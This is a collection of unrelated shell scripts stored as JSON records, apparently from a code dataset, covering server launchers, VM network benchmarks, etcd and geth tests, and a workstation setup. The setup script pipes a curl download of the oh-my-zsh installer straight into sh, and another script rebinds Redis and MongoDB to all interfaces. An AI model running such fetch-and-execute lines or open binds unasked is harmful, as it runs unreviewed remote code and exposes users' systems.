then\n wp core install --url=$url --title=$1 --admin_user=$2 --admin_password=$3 --admin_email=$4 --allow-root\n\n \n cat <<PHP >> /var/www/html/wp-config.php\n\n\\$host = '$url';\ndefine('WP_HOME', \\$host);\ndefine('WP_SITEURL', \\$host);\nPHP\n\nfi"} {"text": "#!/bin/bash\nset -xue\nHOSTS=${HOSTS:-/etc/hosts}\n\nif ! grep docker /proc/1/cgroup; then\n docker run -it --rm -v $PWD/v3.5.0:/v3.5.0 -v $PWD:/cwd -v $PWD/../../bin/:/patched ubuntu /cwd/issue-7798.sh $1\n exit 0\nfi\n\nif ! test -w $HOSTS; then\n echo \"It is assumed that you have write rights to the $HOSTS\"\n exit 1\nfi\n\ntrap 'pkill -9 -x etcd' TERM EXIT ERR\n\nTYPE=\"${1:-v3.5.0}\"\n\ninstance() {\n rm -vrf \"e$1\"\n name=\"e$1\"\n\n declare -A ports=(\n [e1]=2379\n [e2]=22379\n [e3]=32379\n )\n\n exec /$TYPE/etcd --name $name \\\n --data-dir $name \\\n --listen-client-urls http://127.0.0.1\"$1\":${ports[$name]} \\\n --advertise-client-urls http://${name}.lan:${ports[$name]} \\\n --listen-peer-urls http://127.0.0.1\"$1\":$((${ports[$name]}+1)) \\\n --initial-advertise-peer-urls http://${name}.lan:$((${ports[$name]}+1)) \\\n --initial-cluster e1=http://e1.lan:2380,e2=http://e2.lan:22380,e3=http://e3.lan:32380 \\\n --initial-cluster-token tkn \\\n --initial-cluster-state ${2:-new} &> $name.log\n}\n\ncheck() {\n ETCDCTL_API=3 /$TYPE/etcdctl \\\n --endpoints e1.lan:2379,e2.lan:22379,e3.lan:32379 \\\n endpoint health\n}\n\nls -lh /$TYPE/\nDIR=\"etcd-$TYPE\"\nmkdir -vp $DIR\npushd $DIR\n\necho \"Fix $HOSTS\"\necho \"127.0.0.11 e1.lan\n127.0.0.12 e2.lan\n127.0.0.13 e3.lan\" > $HOSTS\ngrep -P 'e\\d.lan' $HOSTS\n\ninstance 1 &\nE1PID=$!\n\ninstance 2 &\nE2PID=$!\n\ninstance 3 &\nE3PID=$!\n\nuntil check; do\n sleep 5 # wait for cluster\ndone\n\nkill -9 $E2PID $E3PID\n\necho \"127.0.0.11 e1.lan\n127.0.0.12 e2.lan\" > $HOSTS\ncat $HOSTS\nsleep 5\n\ninstance 2 existing &\nE2PID=$!\nuntil check; do\n sleep 5\n ps axf|grep '\\<[e]tcd '\n tail -n1 e*.log\ndone"} {"text": "MKPJ_IMG=gcr.io/k8s-prow/mkpj:v20210426-19829768bb\nMKPOD_IMG=gcr.io/k8s-prow/mkpod:v20210426-19829768bb"} {"text": "<gh_stars>0\n#! /bin/sh\n#\n# -----------------------------------------------------------------------------\n# Phoenix start script.\n#\n# Author: <NAME> <<EMAIL>>\n# <NAME> <peter at apache.org>\n#\n# Environment Variable Prequisites\n#\n# PHOENIX_OPTS (Optional) Java runtime options used when the command is\n# executed.\n#\n# PHOENIX_TMPDIR (Optional) Directory path location of temporary directory\n# the JVM should use (java.io.tmpdir). Defaults to\n# $PHOENIX_BASE/temp.\n#\n# JAVA_HOME Must point at your Java Development Kit installation.\n#\n# PHOENIX_JVM_OPTS (Optional) Java runtime options used when the command is\n# executed.\n#\n# PHOENIX_KILLDELAY (Optional) When shutting the server this script sends s\n# SIGTERM signal then delays for a time before forcefully\n# shutting down the process if it is still alive. This\n# variable controls the delay and defaults to 5 (seconds)\n#\n# -----------------------------------------------------------------------------\n\nusage()\n{\n echo \"Usage: $0 {start|stop|run|restart|check}\"\n exit 1\n}\n\n[ $# -gt 0 ] || usage\n\n##################################################\n# Get the action & configs\n##################################################\n\nACTION=$1\nshift\nARGS=\"$*\"\n\n\n\n# OS specific support. $var _must_ be set to either true or false.\ncygwin=false\ncase \"`uname`\" in\nCYGWIN*) cygwin=true;;\nesac\n\n# resolve links - $0 may be a softlink\nTHIS_PROG=\"$0\"\n\nwhile [ -h \"$THIS_PROG\" ]; do\n ls=`ls -ld \"$THIS_PROG\"`\n link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n if expr \"$link\" : '.*/.*' > /dev/null; then\n THIS_PROG=\"$link\"\n else\n THIS_PROG=`dirname \"$THIS_PROG\"`/\"$link\"\n fi\ndone\n\n# Get standard environment variables\nPRGDIR=`dirname \"$THIS_PROG\"`\nPHOENIX_HOME=`cd \"$PRGDIR/..\" ; pwd`\n\n#setup time between signals to kill phoenix \nif [ -z \"$PHOENIX_KILLDELAY\" ] ; then\n PHOENIX_KILLDELAY=5\nfi\n \n\nunset THIS_PROG\n\nif [ -r \"$PHOENIX_HOME\"/bin/setenv.sh ]; then\n . \"$PHOENIX_HOME\"/bin/setenv.sh\nfi\n\n# Checking for JAVA_HOME is required on *nix due\n# to some distributions stupidly including kaffe in /usr/bin\nif [ \"$JAVA_HOME\" = \"\" ] ; then\n echo \"ERROR: JAVA_HOME not found in your environment.\"\n echo\n echo \"Please, set the JAVA_HOME variable in your environment to match the\"\n echo \"location of the Java Virtual Machine you want to use.\"\n exit 1\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin; then\n [ -n \"$PHOENIX_HOME\" ] && PHOENIX_HOME=`cygpath --unix \"$PHOENIX_HOME\"`\nfi\n\nif [ -z \"$PHOENIX_TMPDIR\" ] ; then\n # Define the java.io.tmpdir to use for Phoenix\n PHOENIX_TMPDIR=\"$PHOENIX_HOME\"/temp\n mkdir -p \"$PHOENIX_TMPDIR\"\nfi\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n PHOENIX_HOME=`cygpath --path --windows \"$PHOENIX_HOME\"`\n PHOENIX_TMPDIR=`cygpath --path --windows \"$PHOENIX_TMPDIR\"`\nfi\n\n# ----- Execute The Requested Command -----------------------------------------\n\necho \"Using PHOENIX_HOME: $PHOENIX_HOME\"\necho \"Using PHOENIX_TMPDIR: $PHOENIX_TMPDIR\"\necho \"Using JAVA_HOME: $JAVA_HOME\"\n\n# Uncomment to get enable remote debugging\n# DEBUG=\"-Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=y\"\n#\n# Command to overide JVM ext dir\n#\n# This is needed as some JVM vendors do foolish things\n# like placing jaxp/jaas/xml-parser jars in ext dir\n# thus breaking Phoenix\n#\nJVM_EXT_DIRS=\"$PHOENIX_HOME/lib:$PHOENIX_HOME/tools/lib\"\nif $cygwin; then\n JVM_EXT_DIRS=`cygpath --path --windows \"$JVM_EXT_DIRS\"`\nfi\nJVM_OPTS=\"-Djava.ext.dirs=$JVM_EXT_DIRS\"\n\nif [ \"$PHOENIX_SECURE\" != \"false\" ] ; then\n # Make phoenix run with security manager enabled\n JVM_OPTS=\"$JVM_OPTS -Djava.security.manager\"\nfi\n\n# Make sure we don't run with a never expiring cache for InetAddress\n# In Phoenix Main this is read and applied as Security.setProperty\nPHOENIX_JVM_OPTS=\"$PHOENIX_JVM_OPTS -Dnetworkaddress.cache.ttl=300\"\n\n# change to the bin directory\ncd $PHOENIX_HOME/bin\n\n# Get the run cmd\nRUN_CMD=\"$JAVA_HOME/bin/java $JVM_OPTS \\\n $DEBUG \\\n -Djava.security.policy=jar:file:$PHOENIX_HOME/bin/phoenix-loader.jar!/META-INF/java.policy \\\n $PHOENIX_JVM_OPTS \\\n -Dphoenix.home=\"$PHOENIX_HOME\" \\\n -Djava.io.tmpdir=\"$PHOENIX_TMPDIR\" \\\n -jar \"$PHOENIX_HOME/bin/phoenix-loader.jar\" $*\"\n\n\n#####################################################\n# Find a PID for the pid file\n#####################################################\nif [ -z \"$PHOENIX_PID\" ]\nthen\n PHOENIX_PID=\"$PHOENIX_TMPDIR/phoenix.pid\"\nfi\n\n#####################################################\n# Find a location for the phoenix console\n#####################################################\nPHOENIX_CONSOLE=\"$PHOENIX_TMPDIR/phoenix.console\"\nif [ -z \"$PHOENIX_CONSOLE\" ]\nthen\n if [ -w /dev/console ]\n then\n PHOENIX_CONSOLE=/dev/console\n else\n PHOENIX_CONSOLE=/dev/tty\n fi\nfi\n\n\n#####################################################\n# Action!\n#####################################################\n\ncase \"$ACTION\" in\n start)\n echo \"Starting Phoenix: \"\n\n if [ -f $PHOENIX_PID ]\n then\n if ps -p `cat $PHOENIX_PID ` >/dev/null 2>/dev/null\n then\n echo \"Already Running!!\"\n exit 1\n fi\n fi\n\n echo \"STARTED Phoenix `date`\" >> $PHOENIX_CONSOLE\n\n nohup sh -c \"exec $RUN_CMD >>$PHOENIX_CONSOLE 2>&1\" >/dev/null &\n echo $! > $PHOENIX_PID\n echo \"Phoenix running pid=\"`cat $PHOENIX_PID`\n ;;\n\n stop)\n PID=`cat $PHOENIX_PID 2>/dev/null`\n echo \"Shutting down Phoenix: $PID\"\n kill $PID 2>/dev/null\n sleep $PHOENIX_KILLDELAY\n kill -9 $PID 2>/dev/null\n rm -f $PHOENIX_PID\n echo \"STOPPED `date`\" >>$PHOENIX_CONSOLE\n ;;\n\n restart)\n $0 stop $*\n sleep 5\n $0 start $*\n ;;\n\n supervise)\n #\n # Under control of daemontools supervise monitor which\n # handles restarts and shutdowns via the svc program.\n #\n exec $RUN_CMD\n ;;\n\n run|demo)\n echo \"Running Phoenix: \"\n\n if [ -f $PHOENIX_PID ]\n then\n echo \"Already Running!!\"\n exit 1\n fi\n\n exec $RUN_CMD\n ;;\n\n check)\n echo \"Checking arguments to Phoenix: \"\n\techo \"PHOENIX_HOME: $PHOENIX_HOME\"\n\techo \"PHOENIX_TMPDIR: $PHOENIX_TMPDIR\"\n\techo \"PHOENIX_JVM_OPTS: $PHOENIX_JVM_OPTS\"\n\techo \"JAVA_HOME: $JAVA_HOME\"\n echo \"JVM_OPTS: $JVM_OPTS\"\n echo \"CLASSPATH: $CLASSPATH\"\n echo \"RUN_CMD: $RUN_CMD\"\n echo\n\n if [ -f $PHOENIX_PID ]\n then\n echo \"Phoenix running pid=\"`cat $PHOENIX_PID`\n exit 0\n fi\n exit 1\n ;;\n\n*)\n usage\n ;;\nesac\n\nexit 0"} {"text": "<filename>sansa-query/sansa-query-spark/src/test/resources/data/mkfiles.sh\n#!/bin/bash\n\nMAX=${1:-10}\n\nbase=\"test/conjure\"\nfor i in `seq 1 $MAX`; do\n dir=\"$base\"\n# dir=\"$base/dataset$i\"\n mkdir -p \"$dir\"\n\n for j in `seq 1 $i`; do\n echo \"<urn:s> <urn:p$j> <urn:o> .\"\n done > \"$base/data$i.nt\"\ndone"} {"text": "ocrd__wrap () {\n\n declare -gx OCRD_TOOL_JSON=\"$1\"\n declare -gx OCRD_TOOL_NAME=\"$2\"\n shift\n shift\n declare -Agx params=() argv=()\n\n if ! which \"ocrd\" >/dev/null 2>/dev/null;then\n ocrd__raise \"ocrd not in \\$PATH\"\n fi\n\n if ! declare -p \"OCRD_TOOL_JSON\" >/dev/null 2>/dev/null;then\n ocrd__raise \"Must set \\$OCRD_TOOL_JSON\"\n elif [[ ! -r \"$OCRD_TOOL_JSON\" ]];then\n ocrd__raise \"Cannot read \\$OCRD_TOOL_JSON: '$OCRD_TOOL_JSON'\"\n fi\n\n if [[ -z \"$OCRD_TOOL_NAME\" ]];then\n ocrd__raise \"Must set \\$OCRD_TOOL_NAME\"\n elif ! ocrd ocrd-tool \"$OCRD_TOOL_JSON\" list-tools|grep -q \"$OCRD_TOOL_NAME\";then\n ocrd__raise \"No such command \\$OCRD_TOOL_NAME: $OCRD_TOOL_NAME\"\n fi\n\n ocrd__parse_argv \"$@\"\n\n}"} {"text": "#!/bin/bash\n#This script embelishes the Grub prompt with a theme I've modified from the net. I can't find the theme anymore, but if anyone recognizies it, please let me know so I can add atribution. I assume you are running grub2.\nsudo mkdir /boot/grub/themes\nsudo cp -r ./Resources/BeccaLinux /boot/grub/themes/\necho \"If you have spcific grub settings, you can find the original file in the copy created in /etc/defult/grub.old.\"\nsudo cp /etc/default/grub /etc/default/grub.old\nsudo cp -i ./dotfiles/grub /etc/default/grub\nsudo update-grub"} {"text": "#!/bin/bash\n\nmkdir $PREFIX/bin\ncp feht $PREFIX/bin/\nchmod 755 $PREFIX/bin/feht"} {"text": "#!/bin/bash\n\nRscript -e 'rmarkdown::render(\"/home/arcolombo/Documents/github_repos/Arkas-Analysis-BaseSpace/docker/outputReport/processAnalysisWorkFlow.Rmd\")'"} {"text": "<reponame>brianbinbin/emqx-operator\n#!/usr/bin/env bash\nset -euo pipefail\n\ntag=$1\n\n# ensure dir\ncd -P -- \"$(dirname -- \"${BASH_SOURCE[0]}\")/..\"\n\nmake kustomize\nKUSTOMIZE=${PWD}/bin/kustomize\npushd config/manager && ${KUSTOMIZE} edit set image controller=\"emqx/emqx-operator-controller:${tag}\" && popd\n${KUSTOMIZE} build config/default > deploy/manifests/emqx-operator-controller.yaml\n\n# Default case for GUN sed, use \"sed -i\"\nSED_REPLACE=\"sed -i \"\ncase $(sed --help 2>&1) in\n *GNU*) SED_REPLACE=\"sed -i \";;\n *BusyBox*) SED_REPLACE=\"sed -i \";;\n *) SED_REPLACE=\"sed -i '' \";;\nesac\n\n${SED_REPLACE} \"s|https://github.com/emqx/emqx-operator/releases/download/.*/emqx-operator-controller.yaml|https://github.com/emqx/emqx-operator/releases/download/${tag}/emqx-operator-controller.yaml|g\" docs/en_US/getting-started/getting-started.md\n${SED_REPLACE} \"s|https://github.com/emqx/emqx-operator/releases/download/.*/emqx-operator-controller.yaml|https://github.com/emqx/emqx-operator/releases/download/${tag}/emqx-operator-controller.yaml|g\" docs/zh_CN/getting-started/getting-started.md\n${SED_REPLACE} -r \"s|^appVersion:.*|appVersion: ${tag}|g\" deploy/charts/emqx-operator/Chart.yaml"} {"text": "#!/bin/bash\nset -e\n\nexport OMP_NUM_THREADS=12\nexport OPENBLAS_NUM_THREADS=${OMP_NUM_THREADS}\nexport MKL_NUM_THREADS=${OMP_NUM_THREADS}\n\nRUN_NAME=\"rgb\"\n\nset -x\npython bps_nav/run.py \\\n --exp-config bps_nav/config/pointnav/ddppo_pointnav.yaml \\\n --run-type train \\\n TASK_CONFIG.DATASET.SPLIT \"train-2plus\" \\\n NUM_PARALLEL_SCENES 4 \\\n TENSORBOARD_DIR \"tb/${RUN_NAME}\" \\\n CHECKPOINT_FOLDER \"data/checkpoints/${RUN_NAME}\" \\\n EVAL_CKPT_PATH_DIR \"data/checkpoints/${RUN_NAME}\" \\\n LOG_INTERVAL 50 \\\n SIM_BATCH_SIZE 128 \\\n RL.DDPPO.step_ramp 1 \\\n RL.PPO.num_mini_batch 2 \\\n RL.PPO.ppo_epoch 1 \\\n RL.PPO.num_steps 32 \\\n RL.PPO.max_grad_norm 1.0 \\\n TOTAL_NUM_STEPS 2.5e9 \\\n RL.DDPPO.backbone se_resnet9_fixup \\\n RL.PPO.weight_decay 1e-2 \\\n RL.PPO.lamb True \\\n RL.DDPPO.scale_lr True \\\n RL.PPO.lamb_min_trust 0.01 \\\n RL.PPO.lr 5e-4 \\\n RL.PPO.vtrace False \\\n COLOR True \\\n DEPTH False \\\n RESOLUTION \"[64, 64]\""} {"text": "<filename>bin/postprocess.sh\npostprocess() {\n model=$1\n \n conf=./conf/${model}.py\n python3 ./src/postprocess/pectoral_major_area_selection.py ${conf} --n_pool 8\n}\n\npostprocess model003"} {"text": "<gh_stars>0\ngit clone https://github.com/erpstudio/zki.git \ncd zki\ndocker-compose up -d"} {"text": "<reponame>lodatol/rabbitmq_workshop<filename>second_day/run_rabbitmq.sh\n#!/usr/bin/env sh\ndocker network create class2\n\ndocker run -d --hostname workshop_2day --name class2_rabbitmq -e RABBITMQ_DEFAULT_USER=admin -e RABBITMQ_DEFAULT_PASS=<PASSWORD> -p 8080:15672 -p 5672:5672 -p 15674:15674 --network class2 rabbitmq:3-management"} {"text": "#!/bin/bash\n\n# awscli es requerido\ncommand -v aws >/dev/null 2>&1 || { echo \"No se encuentra el comando aws. Abortando\" >&2; exit 1; }\n\n[ -z \"$1\" ] && { echo \"Parametros: \\n$0 repositorioNombre\"; exit 1; }\nrepositorioNombre=$1\n\n# Crear el repositorio\n# Si no se encuentra el repositorio crearlo\nif ! repoExistente=`aws ecr describe-repositories --repository-names $repositorioNombre 2>>/var/log/aws-entorno.log`; then\n repoJson=`aws ecr create-repository --repository-name $repositorioNombre 2>>/var/log/aws-entorno.log`\n repoUri=`echo $repoJson | jq -r \".repository.repositoryUri\"`\nelse \n repoUri=`echo $repoExistente | jq -r \".repositories[0].repositoryUri\"`\nfi\n\n# Retornar la Uri del repositorio creado, vacio en caso de error\necho $repoUri"} {"text": "<filename>disable_screen_lock.sh\n#!/bin/bash\n\ngsettings set org.gnome.desktop.session idle-delay 0"} {"text": "#! /bin/sh\n\n# Run some network benchmark\n\nTIME=30\nDIR=../data/test\nCORES=2\nMEM=512\n\nwhile [ $# -gt 0 ]; do\n case $1 in\n -t) shift; TIME=$1\n ;;\n -d) shift; DIR=$1\n ;;\n esac\n shift\ndone\n\nRAW=${DIR}/raw\nmkdir -p ${RAW}\n\nFC_PRE=${RAW}/net-fc\nFC_RES=${DIR}/net-fc.txt\n\nCHV_PRE=${RAW}/net-chv\nCHV_RES=${DIR}/net-chv.txt\n\nQEMU_PRE=${RAW}/net-qemu\nQEMU_RES=${DIR}/net-qemu.txt\n\nLOCAL_PRE=${RAW}/net-localhost\nLOCAL_RES=${DIR}/net-localhost.txt\n\nID=0\nTAP_DEV=$(./util_ipam.sh -t $ID)\nTAP_IP=$(./util_ipam.sh -h $ID)\nVM_IP=$(./util_ipam.sh -v $ID)\n\nSSH=\"ssh -i ../etc/ssh-bench.key -F ../etc/ssh-config root@${VM_IP}\"\n\nrun_remote() {\n pre=$1\n res=$2\n\n echo \"Starting iperf server in VM\"\n ${SSH} \"iperf3 -s -D\"\n sleep 2\n\n echo \"Starting iperf to VM (1 stream)\"\n iperf3 -t ${TIME} -J -c ${VM_IP} > ${pre}-rx-01.json\n RX01=$(cat ${pre}-rx-01.json | jq '.end.sum_sent.bits_per_second')\n RX01G=$(echo \"scale = 2; ${RX01} / (1000 * 1000 * 1000)\" | bc)\n sleep 2\n\n echo \"Starting iperf to VM (10 streams)\"\n iperf3 -t ${TIME} -J -P 10 -c ${VM_IP} > ${pre}-rx-10.json\n RX10=$(cat ${pre}-rx-10.json | jq '.end.sum_sent.bits_per_second')\n RX10G=$(echo \"scale = 2; ${RX10} / (1000 * 1000 * 1000)\" | bc)\n sleep 2\n\n echo \"Starting iperf server on host\"\n iperf3 -s -D -1\n sleep 2\n\n echo \"Starting iperf from VM (1 stream)\"\n ${SSH} \"iperf3 -t ${TIME} -J -c ${TAP_IP}\" > ${pre}-tx-01.json\n TX01=$(cat ${pre}-tx-01.json | jq '.end.sum_sent.bits_per_second')\n TX01G=$(echo \"scale = 2; ${TX01} / (1000 * 1000 * 1000)\" | bc)\n sleep 2\n\n echo \"Starting iperf server on host\"\n iperf3 -s -D\n sleep 2\n\n echo \"Starting iperf from VM (10 streams)\"\n ${SSH} \"iperf3 -t ${TIME} -J -P10 -c ${TAP_IP}\" > ${pre}-tx-10.json\n TX10=$(cat ${pre}-tx-10.json | jq '.end.sum_sent.bits_per_second')\n TX10G=$(echo \"scale = 2; ${TX10} / (1000 * 1000 * 1000)\" | bc)\n\n killall -9 iperf3 2> /dev/null\n\n echo \"Ping test\"\n ping -n -c 20 ${VM_IP} > ${pre}-ping.txt\n\n # Print result summary\n printf \"1-stream\\t10-streams\\n\" > ${res}\n printf \"RX\\tTX\\tRX\\tTX\\n\" >> ${res}\n printf \"${RX01G}\\t${TX01G}\\t${RX10G}\\t${TX10G}\\n\" >> ${res}\n}\n\n\nrun_loopback() {\n echo \"Loopback...\"\n echo \"Starting iperf3\"\n iperf3 -s -D\n\n echo \"Starting iperf (1 stream)\"\n iperf3 -t ${TIME} -J -c ${TAP_IP} > ${LOCAL_PRE}-rx-01.json\n RX01=$(cat ${LOCAL_PRE}-rx-01.json | jq '.end.sum_sent.bits_per_second')\n RX01G=$(echo \"scale = 2; ${RX01} / (1000 * 1000 * 1000)\" | bc)\n sleep 2\n\n echo \"Starting iperf (10 streams)\"\n iperf3 -t ${TIME} -J -P 10 -c ${TAP_IP} > ${LOCAL_PRE}-rx-10.json\n RX10=$(cat ${LOCAL_PRE}-rx-10.json | jq '.end.sum_sent.bits_per_second')\n RX10G=$(echo \"scale = 2; ${RX10} / (1000 * 1000 * 1000)\" | bc)\n\n killall -9 iperf3 2> /dev/null\n\n echo \"Ping test\"\n ping -n -c 20 ${TAP_IP} > ${LOCAL_PRE}-ping.txt\n\n # Print result summary\n printf \"1-stream\\t10-streams\\n\" > ${LOCAL_RES}\n printf \"RX\\tTX\\tRX\\tTX\\n\" >> ${LOCAL_RES}\n printf \"${RX01G}\\t${RX01G}\\t${RX10G}\\t${RX10G}\\n\" >> ${LOCAL_RES}\n\n killall -9 iperf3 2> /dev/null\n}\n\nrun_firecracker() {\n killall -9 firecracker 2> /dev/null\n echo \"Firecracker: Starting...\"\n ./util_start_fc.sh \\\n -b ../bin/firecracker \\\n -k ../img/bench-ssh-vmlinux \\\n -r ../img/bench-ssh-disk.img \\\n -c $CORES \\\n -m $MEM \\\n -i $ID \\\n -s -n \\\n &\n\n # 10 seconds should be enough\n sleep 10\n run_remote ${FC_PRE} ${FC_RES}\n killall -9 firecracker 2> /dev/null\n killall -9 iperf3 2> /dev/null\n}\n\nrun_cloudhv() {\n killall -9 cloud-hypervisor 2> /dev/null\n echo \"cloud-hypervisor: Starting...\"\n ./util_start_cloudhv.sh \\\n -b ../bin/cloud-hypervisor \\\n -k ../img/bench-ssh-vmlinux \\\n -r ../img/bench-ssh-disk.img \\\n -c $CORES \\\n -m $MEM \\\n -i $ID \\\n -n \\\n &\n\n # 10 seconds should be enough\n sleep 10\n run_remote ${CHV_PRE} ${CHV_RES}\n killall -9 cloud-hypervisor 2> /dev/null\n}\n\nrun_qemu() {\n killall -9 qemu-system-x86_64 2> /dev/null\n echo \"qemu: Starting...\"\n ./util_start_qemu.sh \\\n -b ../bin/qemu-system-x86_64 \\\n -k ../img/bench-ssh-vmlinuz \\\n -r ../img/bench-ssh-disk.img \\\n -c $CORES \\\n -m $MEM \\\n -i $ID \\\n -n \\\n &\n\n # 10 seconds should be enough\n sleep 10\n run_remote ${QEMU_PRE} ${QEMU_RES}\n killall -9 qemu-system-x86_64 2> /dev/null\n killall -9 iperf3 2> /dev/null\n}\n\n\nkillall -9 firecracker 2> /dev/null\nkillall -9 cloud-hypervisor 2> /dev/null\nkillall -9 qemu-system-x86_64 2> /dev/null\nkillall -9 iperf3 2> /dev/null\n\nsleep 5\nrun_loopback\n\nif [ $(grep -c rdrand /proc/cpuinfo) -eq 0 ]; then\n echo \"benchmark rootfs needs CPU rdrand support\"\n exit 1\nfi\n\nsleep 5\nrun_firecracker\nsleep 5\nrun_cloudhv\nsleep 5\nrun_qemu"} {"text": "<reponame>dltdojo/container<gh_stars>0\n#!/bin/bash\ngeth --exec 'personal.newAccount(\"pass\");miner.start();personal.unlockAccount(eth.accounts[0], \"pass\", <PASSWORD>);' attach\nsleep 2\ngeth --exec 'personal.newAccount(\"pass\");personal.unlockAccount(eth.accounts[1], \"pass\", <PASSWORD>);' attach\nsleep 2\ngeth --exec 'personal.newAccount(\"pass\");personal.unlockAccount(eth.accounts[2], \"pass\", <PASSWORD>);' attach"} {"text": "# bind 0.0.0.0 for all remote client\nsudo sed -i 's/^bind 127.0.0.1/bind 0.0.0.0/g' /etc/redis/redis.conf\n# start redis service\nsudo systemctl restart redis-server\n\nsudo set -i 's/^bind_ip = 127.0.0.1/bin_ip = 0.0.0.0/g' /etc/mongdb.conf\n# start mongodb service\nsudo systemctl restart mongod"} {"text": "<gh_stars>1-10\n#!/usr/bin/env bash\n[ -d ../classes ] && rm -r ../classes\n[ -d ../results ] && rm -r ../results \n\n\nmkdir ../classes\njavac Main.java -d ../classes\ncd ../classes\n\ncT=2; #tradeoff type (0=none, 1=convex, 2=concave)\ndR=10000; #death rate; (0=no death or 1 death per dR cells per time frame)\ncR=100; # catastrophe rate (% of deaths)\n\njava Main $cT $dR $cR"} {"text": "#!/bin/bash\n\npwd \n\ng++ -fexceptions -std=c++11 -g -I../../../src sobol_test.cpp -o sobol_test"} {"text": "<reponame>brunats/defaults\n# Essential\nsudo apt-get install build-essential\nsudo apt install curl\n\n# VScode\nsudo snap install --classic code\n\n# Zsh\nsudo apt install zsh\nsh -c \"$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\n\n# Git\nsudo apt install git\ngit config --global user.name \"USER_NAME\"\ngit config --global user.email \"USER_EMAIL\"\ngit config --global user.signingkey \"USER_SIGNINGKEY\"\n\n# Docker\nsudo apt-get install docker\nsudo apt-get install docker-compose\nsudo groupadd docker\nsudo usermod -aG docker ${USER}\n\n# ASDF\ngit clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.8.0\n\n## Golang\nasdf plugin add golang\nasdf install golang latest\nasdf list nodejs\nasdf global golang 1.14\n\n## NodeJs\nasdf plugin-add nodejs https://github.com/asdf-vm/asdf-nodejs.git\nbash -c '${ASDF_DATA_DIR:=$HOME/.asdf}/plugins/nodejs/bin/import-release-team-keyring'\nasdf install nodejs latest\nasdf list nodejs\nasdf global 15.11.0\n\n# Spotify Slack Discord\nsudo snap install spotify\nsudo snap install slack --classic\nsudo snap install discord"} {"text": "<reponame>xanoni/Linux-Scripts<filename>misc.sh\n#! /usr/bin/env -S bash -ex\n\n## easier find\nfunction fnd {\n find . -iname \"${*}\"\n}\n\n## easier navigation\nalias c=\"cd ..\"\nalias d=\"cd -\"\nalias ..=\"cd ..\"\nalias ...=\"cd ../..\"\nalias ....=\"cd ../../..\"\nalias .....=\"cd ../../../..\"\n\n## bash\nif [ \"${SHELL}\" = \"/bin/bash\" ]; then\n ## /bin/cd\n function cd {\n if [ -n \"$PS1\" ]; then\n builtin cd \"$@\" && ll\n else\n builtin cd \"$@\"\n fi\n }\n\n## zsh\nelif [ \"${SHELL}\" = \"/bin/zsh\" ]; then\n alias zsh-omz=\"omz\"\n alias zshrc=\"vim ~/.zshrc\"\n alias zshrc-my=\"vim \\$HOME/.oh-my-zsh/custom/my.zsh\"\nfi"} {"text": "<reponame>sam1016yu/cicada-exp-sigmod2017\nhstore_hosts=\"localhost:0:0-7;localhost:1:8-15;localhost:2:16-23;localhost:3:24-31;localhost:4:32-39;localhost:5:40-47;localhost:6:48-55;localhost:7:56-63;localhost:8:64-71;localhost:9:72-79\"\n# hstore_hosts=\"localhost:0:0-7;localhost:1:8-15;localhost:2:16-23;localhost:3:24-31;localhost:4:32-39;localhost:5:40-47;localhost:6:48-55;localhost:7:56-63;localhost:8:64-71;localhost:9:72-79;localhost:10:80-87;localhost:11:88-95\"\n# hstore_hosts=\"localhost:0:0-7;localhost:1:8-15;localhost:2:16-23;localhost:3:24-31;localhost:4:32-39;localhost:5:40-47;localhost:6:48-55;localhost:7:56-63;localhost:8:64-71;localhost:9:72-79;localhost:10:80-87;localhost:11:88-95;localhost:12:96-103;localhost:13:104-111;localhost:14:112-119;localhost:15:120-127\"\n# Site process dies without any trace (exit-value 255) for more than 12 sites.\nhstore_client_memory=\"20480\"\nhstore_site_memory=\"30720\"\nhstore_global_memory=\"2048\"\nhstore_client_threads_per_host=\"200\"\nmachine_name=\"DragonHawk\"\nmachine_shortname=\"dh\"\n. run_hstore_withlog.sh"} {"text": "<gh_stars>10-100\n# Adds a new project to the management list.\n# Arguments:\n# 1. repo: The repository name.\n#\nfunction _do_make() {\n local repo=${1?'repo arg required'}\n shift 1\n\n # shellcheck disable=SC2068\n # shellcheck disable=SC2086\n _do_repo_plugin_cmd_add \"${repo}\" 'make' $@\n}\n\nfunction _do_make_lib() {\n # shellcheck disable=SC2068\n _do_make $@\n}\n\nfunction _do_make_api() {\n # shellcheck disable=SC2086\n # shellcheck disable=SC2068\n _do_make $@ ${DO_MAKE_API_CMDS}\n}\n\nfunction _do_make_cli() {\n # shellcheck disable=SC2086\n # shellcheck disable=SC2068\n _do_make $@ ${DO_MAKE_CLI_CMDS}\n}\n\nfunction _do_make_web() {\n # shellcheck disable=SC2086\n # shellcheck disable=SC2068\n _do_make $@ ${DO_MAKE_WEB_CMDS}\n}"} {"text": "<reponame>menstar789/copymine\n#!/bin/sh\n\n# Vazkii's JSON creator for blocks\n# Ported to sh by WireSegal\n# Put in your /resources/assets/$MODID/models/block\n# Makes basic block JSON files as well as the acossiated item and simple blockstate\n# Can make multiple blocks at once\n#\n# Usage:\n# makeb (block name 1) (block name 2) (block name x)\n\n# Change this to your mod's ID\nMODID=\"mekanism\"\n\nif [ $# -eq 0 ] \n then\n echo \"Usage:\"\n echo \"makeb [item name] [item name] etc...\"\nfi\n\nfor BLOCK in \"$@\"\ndo\n\techo \"Making $BLOCK.json block\"\n\techo \"{\n \\\"parent\\\": \\\"block/cube_all\\\",\n \\\"textures\\\": {\n \\\"all\\\": \\\"$MODID:blocks/$BLOCK\\\"\n }\n}\n\" > \"$BLOCK.json\"\n\n\techo \"Making $BLOCK.json item\"\n\techo \"{\n \\\"parent\\\": \\\"$MODID:block/$BLOCK\\\",\n \\\"display\\\": {\n \\\"thirdperson\\\": {\n \\\"rotation\\\": [ 10, -45, 170 ],\n \\\"translation\\\": [ 0, 1.5, -2.75 ],\n \\\"scale\\\": [ 0.375, 0.375, 0.375 ]\n }\n }\n}\n\"\t> \"../item/$BLOCK.json\"\n\n\techo \"Making $BLOCK.json blockstate\"\n\techo \"{\n \\\"forge_marker\\\": 1,\n \\\"defaults\\\": {\n \\\"model\\\": \\\"$MODID:$BLOCK\\\"\n },\n \\\"variants\\\": {\n \\\"normal\\\": [{}],\n \\\"inventory\\\": [{}]\n }\n}\n\" > 